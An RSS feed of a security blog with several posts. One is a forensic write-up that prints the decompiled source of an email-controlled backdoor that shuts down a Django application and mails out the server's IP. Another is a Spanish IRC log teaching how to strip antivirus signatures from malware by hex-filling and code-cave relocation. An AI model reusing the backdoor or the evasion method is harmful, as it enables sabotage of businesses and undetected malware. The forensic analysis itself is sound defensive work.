<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Dojo &#187; &#187; Programming</title>
	<atom:link href="http://security-dojo.com/categorias/programming-bits/feed/" rel="self" type="application/rss+xml" />
	<link>http://security-dojo.com</link>
	<description>Sending your logs to  /dev/null since 1976</description>
	<lastBuildDate>Mon, 26 Mar 2012 20:55:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>ms12-020 saga: PoC exploit on pastebin and online rdp vulnerability scan: rdpcheck.com</title>
		<link>http://security-dojo.com/programming-bits/ms12-020-saga-poc-exploit-on-pastebin-and-online-rdp-vulnerability-scan-rdpcheck-com/</link>
		<comments>http://security-dojo.com/programming-bits/ms12-020-saga-poc-exploit-on-pastebin-and-online-rdp-vulnerability-scan-rdpcheck-com/#comments</comments>
		<pubDate>Sat, 24 Mar 2012 03:57:21 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[ms12-020]]></category>
		<category><![CDATA[rdp]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=179</guid>
		<description><![CDATA[So then again, rolling and checking istherdpexploitoutyet.com found an interesting thing; they link to a PoC on pastebin, and apparently it messes up your box, I wonder how many people lost boxes on that one, but they link to another cool site rdpcheck.com they scan you back to check if you are vulnerable to RDP [...]]]></description>
			<content:encoded><![CDATA[<p>So then again, rolling and checking <a href="http://istherdpexploitoutyet.com/">istherdpexploitoutyet.com</a> found an interesting thing; they link to a PoC on pastebin, and apparently it messes up your box, I wonder how many people lost boxes on that one, but they link to another cool site <a href="http://rdpcheck.com/">rdpcheck.com</a> they scan you back to check if you are vulnerable to RDP exploit, they even check you don&#8217;t use disposable addresses which is very interesting and cool.</p>
<p>So I put my gmail address and click test, I don&#8217;t have any RDP at my home address but I wanted to see how they do it with closed ports, then I&#8217;ll setup an exploitable RDP and let them scan me :) and update this post! </p>
<p>After you click on test you will receive something on the email like this (IP Address removed):</p>
<blockquote><p>
IP address tested: XXX.XXX.XXX.X<br />
Time of test: Sat, 24 Mar 2012 14:50:38 EST<br />
Result: RDP Port Filtered (Inconclusive) </p>
<p>Hmmm&#8230; We were unable to determine if we could access Remote Desktop Protocol from the Internet on it&#8217;s standard port. When we tested there was no response. This generally means that there is a firewall configured to be invisible &#8211; which is a good thing &#8211; but it can also be caused by network issues, ISP filtering, etc.<br />
Because of this we cannot make a confident assessment of your exposure. </p>
<p>To err on the safe side you should assume that this means that your network is potentially vulnerable to exploitation of the MS12-020 RDP vulnerability from the Internet and is likely to contain unpatched systems.<br />
Here&#8217;s a few things you can do&#8230;</p>
<p>Patch ALL of your Windows systems with the MS12-020 patch from Microsoft. To do this simply run Windows Update until it no longer suggests updates, or you can manually download Microsoft security bulletin and patches from Microsoft&#8217;s advisory <a href="http://technet.microsoft.com/en-us/security/bulletin/ms12-020">here</a>.</p>
<p>Check that you&#8217;ve patched ALL of your systems. Not just the Internet facing ones. When this vulnerability gets turned into an self-propagating RDP worm you&#8217;ll thank us for this advice.</p>
<p>Close off port Remote Desktop Services (RDP) to the Internet. RDP runs on TCP port 3389. If this means nothing to you, ask your I.T. guy.</p>
<p>Disable RDP on machines that don&#8217;t need it. RDP is fantastically useful, but if you don&#8217;t need it, turn it off.</p>
<p>Give your I.T. guy a smack on the wrist and tell him/her to stop running Remote Desktop Protocol on the Internet. This is a risky practice, superbug or no superbug, because it gives full access to a machine. Use a VPN for remote access instead.</p>
<p>From Microsoft: &#8220;Consider how you might harden your environment against unauthenticated, attacker-initiated RDP connections.&#8221; Some of the tips here are a part of this general advice. If you need more help with this get in touch via our contact form.</p>
<p>Read, understand and action the advice from Microsoft <a href="http://technet.microsoft.com/en-us/security/bulletin/ms12-020">here</a> and <a href="http://blogs.technet.com/b/srd/archive/2012/03/13/cve-2012-0002-a-closer-look-at-ms12-020-s-critical-issue.aspx">here</a>. If none of it makes sense to you, talk to your I.T. guy or get in touch via our contact form.
</p></blockquote>
<p>This is pretty cool and useful at least for the average joe :)</p>
<p>I still wonder &#8230; IS THE RDP EXPLOIT OUT YET!?!?!?!? </p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/ms12-020-saga-poc-exploit-on-pastebin-and-online-rdp-vulnerability-scan-rdpcheck-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[Your worst enemy: The rogue consultant/admin] py_util.pyc LOCK/UNLOCK backdoor over email</title>
		<link>http://security-dojo.com/programming-bits/your-worst-enemy-the-rogue-consultantadmin-py_util-pyc-lockunlock-backdoor-over-email/</link>
		<comments>http://security-dojo.com/programming-bits/your-worst-enemy-the-rogue-consultantadmin-py_util-pyc-lockunlock-backdoor-over-email/#comments</comments>
		<pubDate>Sat, 24 Mar 2012 01:58:05 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tu Peor Enemigo]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[ethics]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=169</guid>
		<description><![CDATA[I recently had to actually do a fast forensic job for a friend, he asked me some help as he was taking over some business which were &#8220;abandoned&#8221; by an &#8220;open source consultant&#8221; which is to say pretty much installs everything on linux and does half coding in this case. The problem raised when as [...]]]></description>
			<content:encoded><![CDATA[<p>I recently had to actually do a fast forensic job for a friend, he asked me some help as he was taking over some business which were &#8220;abandoned&#8221; by an &#8220;open source consultant&#8221; which is to say pretty much installs everything on linux and does half coding in this case.</p>
<p>The problem raised when as soon as they took over the network within the hour a critical system for the business stopped working, this was more than suspicious as before in another business that was also admin by this person before had some files erased and configurations lost when it was transitioned to another admin because of lack of administration and ethics on the admin part.</p>
<p>First I tried to decompile the python files form the Django server, this was because obviously all the servers where blocked but for port 80. My friend innocently forgot to block all access to the internet as he thought that was not that hardcore important (#FAIL) and he didn&#8217;t really think this person (who know actually is consulting for a major bank in Mexico) would backdoor and do this type of stuff.</p>
<p>The first thing was to run it on strings to figure out what is there (credentials and paths removed for security reasons):</p>
<blockquote><p>
fsckOSX:~ nahual$ strings py_util.pyc<br />
EmailMultiAlternatives(<br />
MIMEImage(<br />
datetimeN(<br />
Parsers<br />
fxxxxxxxxxxo@gmail.comt<br />
mxxxgyyczzt<br />
LOCKSYSTEMt<br />
UNLOCKSYSTEMt<br />
GETIPs$<br />
/home/xxxxxxx/svn/yyyyyyyy/.python.logc<br />
pop.gmail.comi<br />
Subjectt<br />
bloqueandot<br />
desbloqueandot8<br />
2baa224d0a3515912218fd88c1dd9d90d347c451c67811ac6240f4a1(<br />
poplibt<br />
POP3_SSLt<br />
usert<br />
pass_t<br />
passwdt<br />
Exceptiont<br />
lent<br />
listt<br />
ranget<br />
retrt<br />
joinR<br />
parsestrt<br />
LOCKt<br />
opent<br />
file_logt<br />
writet<br />
closet<br />
UNLOCKR<br />
check_ipt<br />
quit(<br />
errt<br />
numerot<br />
responset<br />
headerLinest<br />
bytest<br />
mensajet<br />
emailt<br />
subjectt<br />
/home/xxxxxxx/svn/yyyyyyy/../yyyyyyy/py_util.pyt<br />
check_locker<br />
setup_environ(<br />
BeautifulSoups<br />
hxxxxxxx3@gmail.comR</p>
<p>http://www.cualesmiip.comt</p>
<p>divt<br />
miipt<br />
IP del servidort<br />
from_emails<br />
text/html(<br />
urllib2t<br />
django.core.managementR/<br />
xml.dom.minidomR0<br />
settingst<br />
urlopent<br />
readt<br />
findt<br />
findAllR<br />
DEFAULT_FROM_EMAILt<br />
attach_alternativet<br />
send(<br />
xmlR0<br />
listmailt<br />
contentt<br />
feedR&#038;<br />
html_contentR,<br />
msg(<br />
/home/xxxxxxx/svn/yyyyyy/../yyyyyy/py_util.pyR<br />
__main__(<br />
django.core.mailR<br />
email.MIMEImageR<br />
smtplibR<br />
email.ParserR<br />
__name__(<br />
/home/xxxxxxxx/svn/yyyyyy/../yyyyy/py_util.pyt<br />
<module><br />
fsckOSX:~ nahual$
</p></blockquote>
<p>py_util.pyc wouldn&#8217;t fastly decompile, thus after putting it into IDA and other nice decompile this is what was found (credentials removed for security reasons):</p>
<p><code><br />
from django.core.mail import EmailMultiAlternatives<br />
from email.MIMEImage import MIMEImage<br />
from datetime import datetime<br />
import smtplib<br />
import poplib<br />
from email.Parser import Parser</p>
<p>user = 'xxxxxx'<br />
passwd = 'xxxxxxxx'<br />
LOCK = 'LOCKSYSTEM'<br />
UNLOCK = 'UNLOCKSYSTEM'<br />
GETIP = 'GETIP'<br />
file_log = '/home/xxxxx/svn/yyyyyy/.python.log'</p>
<p>def check_locker():<br />
    try:<br />
        m = poplib.POP3_SSL('pop.gmail.com', 995)<br />
        m.user(user)<br />
        m.pass_(passwd)<br />
    except Exception, err:<br />
        print err<br />
    else:<br />
        numero = len(m.list()[1])<br />
        for i in range(numero):<br />
            (response, headerLines, bytes) = m.retr(i + 1)<br />
            mensaje = '\n'.join(headerLines)<br />
            p = Parser()<br />
            email = p.parsestr(mensaje)<br />
            subject = email['Subject']<br />
            if (subject == LOCK):<br />
                print 'bloqueando'<br />
                f = open(file_log, 'w')<br />
                f.write('')<br />
                f.close()<br />
            elif (subject == UNLOCK):<br />
                print 'desbloqueando'<br />
                f = open(file_log, 'w')<br />
                f.write('xxxxxxxxxxxxx')<br />
                f.close()<br />
            elif (subject == GETIP):<br />
                check_ip()<br />
        m.quit()</p>
<p>def check_ip():<br />
    import urllib2<br />
    from django.core.management import setup_environ<br />
    import xml.dom.minidom<br />
    from BeautifulSoup import BeautifulSoup<br />
    import settings<br />
    setup_environ(settings)<br />
    listmail = ['xxxxxxxx@gmail.com']<br />
    content = ''<br />
    feed = urllib2.urlopen('http://www.google.com')<br />
    response = BeautifulSoup(feed.read())<br />
    html_content = response.find('div', {'id': 'miip'}).findAll('b')[0]<br />
    subject = 'IP del servidor'<br />
    msg = EmailMultiAlternatives(subject, content, to=listmail, from_email=settings.DEFAULT_FROM_EMAIL)<br />
    msg.attach_alternative(html_content, 'text/html')<br />
    msg.send()<br />
if (__name__ == '__main__'):<br />
    check_ip()<br />
</code></p>
<p>As you can see the backdoor is pretty small and &#8220;efficient&#8221;, it checks a gmail account, if an email to that account is sent with the LOCKSYSTEM it will automatically shutdown the application, and you can of course unlock the system with another email.</p>
<p>This might be coded because they thought maybe the client wouldn&#8217;t pay them? why would he code something like this without the client consent? no documentation was delivered from the code, and as soon as the admin/developer was let go, the system was shutdown within the hour, sounds to me more like a blackmail function than a current admin function as it only turns off the system, no backups anything.</p>
<p>This makes me wonder why this would be created? or executed? I thought about writing a fast and ugly rule to make sure if anything happened like this again at least the snorts would be alerted and told my friend to lock down the firewall rules, but this lack of ethics is overwhelming, I wonder what the bank would think of him being used to backdoor stuff to keep a foot in the door? jeeeeezzzzz</p>
<p>Snort rule would not really work as it&#8217;s doing pop3 over SSL, but then blocking port 993 should lock him out, still &#8230; why people do this? don&#8217;t they understand this lack of ethics is preposterous? </p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/your-worst-enemy-the-rogue-consultantadmin-py_util-pyc-lockunlock-backdoor-over-email/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>stop232patent.com</title>
		<link>http://security-dojo.com/programming-bits/stop232patent-com/</link>
		<comments>http://security-dojo.com/programming-bits/stop232patent-com/#comments</comments>
		<pubDate>Tue, 15 Feb 2011 02:04:27 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[linkedin]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tu Peor Enemigo]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=125</guid>
		<description><![CDATA[I&#8217;ve been in the security environment for quite around years now, I don&#8217;t consider myself an expert but I consider myself knowledgeable, one thing is all my life I&#8217;ve had awesome people around me, giving me always advise, knowledge and pushing my creativity. I recently catch upon Cenzic having a pretty interesting patent, which basically [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been in the security environment for quite around years now, I don&#8217;t consider myself an expert but I consider myself knowledgeable, one thing is all my life I&#8217;ve had awesome people around me, giving me always advise, knowledge and pushing my creativity.</p>
<p>I recently catch upon Cenzic having a pretty interesting patent, which basically covers any code that baselines a web page and then injects faulty code into parameters to verify vulnerabilities. Yes you read correctly, this patent awarded in 2007 covers all web scanners and even powerful fuzzers into the patent, why it was granted? beats me I presume whoever checked it out didn&#8217;t really find prior art (there is) or really understand what was being patented (go lawyer+techie talk) the result? an overlapping patent.</p>
<p>Now a patent should ALWAYS be used defensively, which means &#8220;I protect myself from other people coming and breaking my stuff, asking me for money for something I developed or saying I didn&#8217;t create it&#8221; the problem is, Cenzic is NOT using the patent defensively, they are using it to get money out of web scanner companies.</p>
<p>IBM/HP already did a cross licensing deal with them, (probably giving them their crawler technology) and now they went and asked <a href="http://www.ntobjectives.com">NTObjectives</a> an insane amount of money, result? NTObjectives is fighting back, the filed a <a href="http://www.ntobjectives.com/news/NTOBJECTivesEntersPatentLitigationWithCenzic,Inc.">suit</a> which will then break the patent and stop this company from basically extorting money out of other companies for a very generic and broken patent.</p>
<p>It makes me sad, why? because one of the patent owners is someone I really respect: Greg Hoglund, the founder of rootkit.com, his books are great and I love them, but this patent, this is wrong. It saddens me the fact that someone on the security environment (I hate using the industry word, because grayhats and blackhats are not on the industry but are still on the environment) would do this and let it go.</p>
<p>I created then the website <a href="http://www.stop232patent.com">www.stop232patent.com</a> you can follow an in depth detail of the analysis of the patent, trial, prior art, etc. </p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/stop232patent-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Where information should stop</title>
		<link>http://security-dojo.com/programming-bits/where-information-should-stop/</link>
		<comments>http://security-dojo.com/programming-bits/where-information-should-stop/#comments</comments>
		<pubDate>Wed, 04 Aug 2010 01:36:52 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[trapper]]></category>
		<category><![CDATA[Tu Peor Enemigo]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[hydra]]></category>
		<category><![CDATA[sniffer]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=115</guid>
		<description><![CDATA[I often stay away from political and economical sources, why? well due to my job and research I believe I should not be involved in any of them, is my job not to be bias against nobody that could potentially be my client, so I just shut up, even with close relatives, friends and relationships. [...]]]></description>
			<content:encoded><![CDATA[<p>I often stay away from political and economical sources, why? well due to my job and research I believe I should not be involved in any of them, is my job not to be bias against nobody that could potentially be my client, so I just shut up, even with close relatives, friends and relationships.</p>
<p>As the release of trapper was getting closer I started thinking what good would the complete release of the software will do, and I came up with this answers:<br />
- Nothing, nobody would use it<br />
- Some people would use it for kicks, mostly to hack their own networks or hack work<br />
- It could be used to crack something large and big<br />
- Other people would use it on their audits, call me I&#8217;m finished and keep on using my research and work.<br />
- Man in black would seize my server (since it&#8217;s on the US) and force the app to be erased after magically appearing with a copy of it.</p>
<p>While the last one appears definitely far fetched the third one got me thinking seriously, not only because of the nature of my research has gone definitely into Hydras and AI / Neural Networks / Expert Systems but because potentially sooner or later it could be pushed into the light and someone will do something that would compromise the years I&#8217;ve work on the security field.</p>
<p>I&#8217;m not calling that a reporter, as the ones I know they have been always fair to me in developing at story, but today as I unleashed the third rewrite of trapper (yes I had to rewrite 2 times already due to redesign of the objects) someone at the starbucks checked their email via pop, in less than 5 minutes all his email was parsed, loged into facebook, found, friends found, had his avatar picture and was searching who he was talking to in MSN. At that second I realized I stupidly left the domain into * and not localhost, definitely my mistake but &#8230; it suddenly hit me, am I making stuff secure or insecure releasing this?<br />
<span id="more-115"></span><br />
The answer was &#8220;You are making stuff completely insecure, people won&#8217;t understand what is going on, it will be just pure blood and your point across will be lost&#8221; so my decision is to open trapper only to a few people without hard modules and keep it for <a href="http://www.yaguarete-sec.com">Yaguarete</a> as part of the internal tools, not because I don&#8217;t want to, believe me with the design I made a proficient coder will have no trouble to create it&#8217;s own little hydra, but it won&#8217;t me mine, it won&#8217;t be code breaking hard into stuff I seriously do not want to even ping.</p>
<p>YES I&#8217;ve become soft, YES I&#8217;m not the guy who used to rampage like 10 years ago in G-Con, but then again who would be? are you really a sane person holding into something that happened or said 10 years ago? is your life THAT pathetic?</p>
<p>I&#8217;ve seen people come from total &#8220;n00bs&#8221; into amazing hackers, like HKM I remember him messaging me saying he got hist first overflow after reading a paper then all the sudden he is destroying 2Wire with amazing research, people evolve, everything evolves, why wouldn&#8217;t I just evolve?</p>
<p>As I was reading the leaks that might break spies and complete networks of the CIA on Afganistan because of a leak I said &#8220;well sure government did stuff they shouldn&#8217;t have done? most probably but then again should documents leak THAT harshly?&#8221; I&#8217;m not condemning or applauding the act I just wondered &#8220;what if code I wrote ever is used for that?&#8221;</p>
<p>You might not have met me in my &#8220;worst&#8221; years, when I tough I was invincible, when nobody was smarter than me, more connected than me, etc. but I realize that those years I did more damage than help, I turn around and I smile when people tell me they look up to me and they have shaped cons in the sense of G-Con or stuff like that (I have to say that having someone name his kid after you felt great, thank you Pedro Navarro -byteStriker-)</p>
<p>Anyway I&#8217;m still alive, am I the same? no, is my research the same? probably is it still agressive? As much as I need to, because at the end, my research is only for me now, I don&#8217;t want any more fame, I don&#8217;t want the spotlight anymore, I&#8217;ve had my 15 minutes of fame, I want to do what I like, what I want and just be happy (breaking stuff sure why not)</p>
<p>Will trapper ever be public? to be honest it might, just not right now I&#8217;d like to keep the advantage before other companies use it and call my company inferior, anyway it will have a mixed license so too bad for ppl that will use it for commercial.</p>
<p>If you are interested in a copy of it, contact me and we can chat but I don&#8217;t promise anything.</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/where-information-should-stop/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Machancando AV&#8217;s</title>
		<link>http://security-dojo.com/uncategorized/machancando-avs/</link>
		<comments>http://security-dojo.com/uncategorized/machancando-avs/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 22:54:40 +0000</pubDate>
		<dc:creator>psymera</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=45</guid>
		<description><![CDATA[Bien ahora para iniciar en este blog el log de una charla ke di en un canarl irc sobre las firmas de los av&#8217;s y como kitarselas a nuestros juguetitos experimentales xP &#60;Psymera&#62; ah si no les comente mi gato se llama antivirus &#60;Psymera&#62; y es la onda xxD &#60;sdc&#62; jajajaja &#60;rey_brujo&#62; Juar! &#60;Etal&#62; Llamaba&#8230;. [...]]]></description>
			<content:encoded><![CDATA[<p>Bien ahora para iniciar en este blog</p>
<p>el log de una charla ke di en un canarl irc sobre las firmas de los av&#8217;s</p>
<p>y como kitarselas a nuestros juguetitos experimentales xP</p>
<p><span id="more-45"></span></p>
<p><strong>&lt;Psymera&gt; ah si no les comente mi gato se llama antivirus<br />
&lt;Psymera&gt; y es la onda xxD</strong><br />
&lt;sdc&gt; jajajaja<br />
&lt;rey_brujo&gt; Juar!<br />
&lt;Etal&gt; Llamaba&#8230;.<br />
&lt;sdc&gt; neta?<br />
&lt;Drackoz&gt; ~<br />
&lt;sdc&gt; que cool<br />
&lt;sdc&gt; XD<br />
&lt;Etal&gt; se murio<br />
&lt;Psymera&gt; no ese es otro<br />
&lt;elprimodel5patas&gt; ./cry<br />
&lt;sdc&gt; lo compro symantec<br />
&lt;Psymera&gt; era la particion ToT<br />
&lt;Psymera&gt; XD<br />
&lt;elprimodel5patas&gt; lol<br />
&lt;hkm&gt; xD<br />
&lt;Drackoz&gt; Xd<br />
&lt;Psymera&gt; bueno ahora si me pondre serio ( aja xD)<br />
&lt;elprimodel5patas&gt; no, ya enserio hablales chimero por que estamos perdiendo auditorio<br />
&lt;jimtronic&gt; hablen<br />
&lt;Psymera&gt; (es el chiste para no hacer ridiculo en grande)<br />
&lt;Links_Engel&gt; jajaja<br />
&lt;Psymera&gt; bueno ya xD<br />
&lt;Psymera&gt; como todos sabemos hay tres metodos conocidos de detecion de virus XD<br />
&lt;Psymera&gt; por Firmas<br />
&lt;Psymera&gt; por heuristica<br />
&lt;Psymera&gt; y la ahora tan famosa y sonada proactiva( como la bautiso el kaspersky)<br />
&lt;Psymera&gt; bueno las Firmas son basico encontrar un archivo con siertos valores en ekis direccion<br />
&lt;Psymera&gt; haci nos detecta faiclmente ke tenemos un mydoom.abx<br />
&lt;Psymera&gt; o etc<br />
&lt;Psymera&gt; la heuristica okupa tanto firmas muy comunes en offsets, como la tabla de importaciones del archivo<br />
&lt;Psymera&gt; y la famosa proactiva (aja XD) ke no es mas ke hookear las apis del sistema<br />
&lt;Psymera&gt; y haci cogernos de los eggs xP<br />
&lt;Psymera&gt; en si nos enfocaremos ah la heuristica por ke es la divertida y facil de parchar XD<br />
&lt;Psymera&gt; y con eso nos llevamos firmas entre las panteras xP<br />
&lt;Psymera&gt; en si es una vercion modificada sobre las firmas clasicas las cuales tmb las cheka en memoria xP<br />
&lt;Psymera&gt; por eso aun ke le pongamos upx o demaz compresores al cargarlo en memoria nos detectara facilmente<br />
<strong>&lt;Psymera&gt; bueno para kitar firmas hay varias tecnicas<br />
&lt;Psymera&gt; de las conocidas esta la  RIT, MEEPA y hex XD</strong><br />
&lt;Psymera&gt; hoenstamente de estas tres ke son als mas conocidas la hex es una ke se basa solamente en la suerte para ke sea funcional<br />
&lt;Psymera&gt; y las otras dos es necesario conocimiento mas o menos decente de asm<br />
&lt;Psymera&gt; bueno para poder hacer todo esti primero tenemos ke encontrar las firmas ke hay ke modificar<br />
&lt;Psymera&gt; lo mas basico ke necesitamos, block de notas, hex editor y el AV del cual keremos sacar los offsets<br />
&lt;Psymera&gt; primero una carpeta la excluimos del scaneo por parte de nuestro AV<br />
<strong>&lt;Psymera&gt; ahi guardaremos nuestro kerido malware  ke no distribuiremos y solo lo haremos por experiementacion ( aja :p)<br />
&lt;Psymera&gt; lo vamos abrir con nuestro hex editor y vamos ah rellenar la mitad de el con bytes nulos XD y guardamos esa copia modificada en una carpeta ke si sea escaneada por nuestro av residente<br />
&lt;Psymera&gt; el chiste de esto<br />
&lt;Psymera&gt; es ke nos lo detecte el av<br />
&lt;Psymera&gt; y nos borre esa muestra<br />
&lt;Psymera&gt; o la kite o grite o lo ke sea ke haga el Av xP<br />
&lt;Psymera&gt; el chiste es buscar el lado donde no nos indike ke fue encotnrado<br />
&lt;Psymera&gt; apartir de ello trataremos de redusir la buskeda<br />
&lt;Psymera&gt; osea volvemos au nuestro hex editor y rellenamos denuevo pero en un espacio mas pekeño</strong><br />
&lt;Psymera&gt; haci ke con mucha pasiencia cafe y musica podemos sacarlo manualmente<br />
&lt;Psymera&gt; muchas de las veces( por no decir ke todas) nuestro rat packer o lo ke sea es detectado por varias firmas<br />
&lt;Psymera&gt; entonces tenemos ke ir haciendo pekeños rellenados con el hex editor<br />
&lt;Psymera&gt; y para no perdernos okupamos nuestro notepad para guardar neustro avanze y no kedar dañados con tanto numero XD<br />
&lt;Psymera&gt; bueno esta tarea se puede simplificar okupando herramientas espesificas como son<br />
&lt;Psymera&gt; signature cero, AVDevil y varias mas<br />
&lt;Psymera&gt; ke lo ke hacen es hacer este rellenado pero de una forma mas burda por llamarlo de una manera<br />
&lt;Psymera&gt; ya ke van creando ejemplares con blokes de un taaño determinado<br />
&lt;Psymera&gt; estas eran utiles o bueno lo son cuando nuestro AV es detectado por una sola firma<br />
&lt;Psymera&gt; (bien ahroa el super comercial de mi tool xD)<br />
&lt;elprimodel5patas&gt; go go go go!!<br />
<strong>&lt;Psymera&gt; bueno por ese motivo yo cree la herramienta AAVTools (Anti AntiViral Tools) ke sirve para identificacion de multiples firmas<br />
&lt;Psymera&gt; esta basada en la idea principal de signature cero de darnos una apariencia mas amigable en la deteccion de firmas<br />
&lt;Psymera&gt; poniendonos una linda barrita la cual reprecentara el cuerpo de nuestro amado malware xP</strong><br />
&lt;Psymera&gt; (termina comercial, al final sabran como cosnegirlo con faciles pagos de 9.95 xD)<br />
&lt;Psymera&gt; bueno suponiendo ke ya tenemos nuestra lista de firmas<br />
&lt;Psymera&gt; okuparemos la tecnica ke mas nos guste o acomode<br />
<strong>&lt;Psymera&gt; (bueno primero para tirarle tierra a la hex XD)<br />
&lt;Psymera&gt; se trata de teniendo nuestra firma okuparemos un hex editor para ver su valor y sumarle o restarle un valor para ke no sea detectado<br />
&lt;Psymera&gt; oviamente esto kitara la firma detectada pero lo ams provable es ke mate el flujo del programa<br />
&lt;Psymera&gt; ya ke estamos moviendo valores ah ciegas<br />
&lt;Psymera&gt; la tecnica rit se basa en mover un bloke de instrucciones ah otra parte del programa y volver al flujo normal<br />
&lt;Psymera&gt; y la meepa es una vercion modificada de la rit<br />
&lt;Psymera&gt; pero podriamos decir ke mas practica<br />
&lt;Psymera&gt; se trata de modificar los valores con un hex editor ah nuestro programa original y ponerle una rutina al principio del mismo ke nos vuelva a poner los valores originales pero en memoria</strong><br />
<strong>&lt;Psymera&gt; bueno para cualkiera de estas dos tecnicas necesitamos encontrar caverns en nuestro programa</strong><br />
&lt;hkm&gt; asi es como se ve el tool de psymera (bueno la version anterior): <a href="http://img264.imageshack.us/img264/8896/screenshotpq6.jpg" target="_blank">http://img264.imageshack.us/img264/8896/screenshotpq6.jpg</a><br />
<strong>&lt;Psymera&gt; ke no son mas ke huecos ke deja el compilador ah la hora de crearlo para mantener alineadas las direcciones en memoria o demaz xP<br />
&lt;Psymera&gt; para ello hay varias tool;  PEID, un script de ollydbg, topo(herramienta especialisada en ello) y otras mas<br />
&lt;Psymera&gt; (cof cof la nueva vercion de mi tool ya hace tmb esa funcion)<br />
&lt;Psymera&gt; pero bueno la mas okupada es el topo</strong><br />
&lt;Psymera&gt; esta herramienta nos da la opcion de buscar un tamaño minimo de la caverna o de no ayarlo aumentar el tamaño de alguna seccion o añadir una nueva para tenerlo<br />
&lt;Psymera&gt; la mayoria de las veces no necesitamos okupar esas dos ultimas opciones<br />
&lt;Psymera&gt; pero bueno volviendo ah la rit<br />
&lt;Psymera&gt; abriremos ahora nuestro malware a modificar en en ollydbg<br />
&lt;Psymera&gt; y buscaremos nuestra offset<br />
&lt;Psymera&gt; bueno para ayarla se me olvido decirles tmb xP<br />
&lt;Psymera&gt; ke okuparemos saber el valor de la imagebase del programa<br />
&lt;Psymera&gt; para sumarlo ah nuestro offset y tener nuestra direccion como RVA XD<br />
&lt;Psymera&gt; bueno teniendo la RVA del offset la buscaremos en el olly<br />
&lt;Psymera&gt; bueno primero buscamos nuestra firma ke es detectada<br />
&lt;Psymera&gt; como es un solo byte generalmente okupara parte de intruccioens mas grandes<br />
&lt;Psymera&gt; por ejemplo supongamos ke nuestra firma tiene un valor f6<br />
&lt;Psymera&gt; y la encontramos en estea instruccion<br />
&lt;Psymera&gt; 00403505   31F6             XOR ESI,ESI<br />
&lt;Psymera&gt; bueno copiaremos esta intruccion ah nuestro block de notas xP<br />
&lt;Psymera&gt; ademas de las siguientes tres<br />
&lt;Psymera&gt; 00403505   31F6             XOR ESI,ESI<br />
&lt;Psymera&gt; 00403507   8932             MOV DWORD PTR DS:[EDX],ESI<br />
&lt;Psymera&gt; 00403509   5F               POP EDI<br />
&lt;Psymera&gt; 0040350A   5E               POP ESI<br />
&lt;Psymera&gt; esto es por ponerles un ejemplo<br />
&lt;Psymera&gt; y guardamos la direcciond e la siguiente instruccion<br />
&lt;Psymera&gt; bien ya teniendo nuestro bloke de instrucciones okuparemos nuestra caverna<br />
&lt;Psymera&gt; de igual forma ke sacamos la RVA de la firma<br />
&lt;Psymera&gt; sacamos la caverna y nos dirigimos ah ella<br />
&lt;Psymera&gt; y copiaremos nuestro bloke de instrucciones ke copiamos ah ella<br />
&lt;Psymera&gt; al terminal el bloke le añadiremos un JMP 0040350B ke es en nuestro caso la siguient insutrccion ke se ejecutaria en el programa<br />
&lt;Psymera&gt; y volvemos denuevo a la direccion de nuestra firma<br />
&lt;Psymera&gt; y ah la intruccion la sobreescribiremos con un JMP direccion_de_la_cave<br />
&lt;Psymera&gt; y ya guardamos nuestro ejecutable modificado y lo corremos para provarlo<br />
<strong>&lt;Psymera&gt; el AV no nos lo deve de tomar como espesimen o en todo caso ke aun nos detecte lo hara como una variante diferente o como otro malware, por las firmas detectadas</strong><br />
